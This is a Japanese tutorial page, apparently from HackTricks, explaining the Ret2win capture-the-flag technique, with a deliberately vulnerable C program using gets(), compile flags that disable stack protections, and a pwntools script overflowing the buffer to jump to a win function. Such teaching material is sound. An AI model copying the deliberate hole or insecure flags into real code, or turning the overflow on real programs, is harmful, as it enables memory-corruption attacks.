Ret2win

Reading time: 9 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

Ret2win チャレンジは、特に バイナリエクスプロイト を含むタスクにおいて、Capture The Flag (CTF) コンペティションで人気のあるカテゴリーです。目標は、特定の未呼び出しの関数をバイナリ内で実行するために、与えられたバイナリの脆弱性を悪用することです。この関数は通常、winflag などの名前が付けられています。この関数が実行されると、通常はフラグや成功メッセージが出力されます。チャレンジは通常、スタック上の リターンアドレス を上書きして、実行フローを目的の関数に転送することを含みます。以下は、例を交えた詳細な説明です。

Cの例

脆弱性を持つシンプルなCプログラムと、呼び出すことを意図している win 関数を考えてみましょう:

c
#include <stdio.h>
#include <string.h>

void win() {
printf("Congratulations! You've called the win function.\n");
}

void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}

int main() {
vulnerable_function();
return 0;
}

このプログラムをスタック保護なしで、かつASLRを無効にしてコンパイルするには、次のコマンドを使用できます:

sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -m32: プログラムを32ビットバイナリとしてコンパイルします(これはオプションですが、CTFチャレンジでは一般的です)。
  • -fno-stack-protector: スタックオーバーフローに対する保護を無効にします。
  • -z execstack: スタック上でのコードの実行を許可します。
  • -no-pie: 位置独立実行可能ファイルを無効にして、win関数のアドレスが変更されないようにします。
  • -o vulnerable: 出力ファイルの名前をvulnerableにします。

Python Exploit using Pwntools

エクスプロイトには、エクスプロイトを書くための強力なCTFフレームワークであるpwntoolsを使用します。エクスプロイトスクリプトは、バッファをオーバーフローさせ、戻りアドレスをwin関数のアドレスで上書きするペイロードを作成します。

python
from pwn import *

# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path

# Find the address of the win function
win_addr = p32(0x08048456)  # Replace 0x08048456 with the actual address of the win function in your binary

# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr

# Send the payload
p.sendline(payload)
p.interactive()

win関数のアドレスを見つけるには、gdbobjdump、またはバイナリファイルを検査できる他のツールを使用できます。例えば、objdumpを使用して、次のようにできます:

sh
objdump -d vulnerable | grep win

このコマンドは、win 関数のアセンブリを表示し、その開始アドレスを含みます。

Python スクリプトは、vulnerable_function によって処理されると、バッファがオーバーフローし、スタック上のリターンアドレスが win のアドレスで上書きされるように慎重に作成されたメッセージを送信します。vulnerable_function が戻ると、main に戻るのではなく、win にジャンプし、メッセージが表示されます。

保護

  • PIE は無効にするべきです。そうしないと、実行ごとにアドレスが信頼できなくなり、関数が格納されるアドレスが常に同じではなくなり、win 関数がどこにロードされているかを把握するために何らかのリークが必要になります。オーバーフローを引き起こす関数が read やそれに類似するものである場合、リターンアドレスを win 関数に変更するために 1 または 2 バイトの 部分上書き を行うことができます。ASLR の動作のため、最後の 3 つの16進数ニブルはランダム化されないため、正しいリターンアドレスを取得する確率は 1/16(1 ニブル)です。
  • スタックカナリア も無効にするべきです。そうしないと、侵害された EIP リターンアドレスは決して追跡されません。

その他の例と参考文献

ARM64 の例

Ret2win - arm64

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする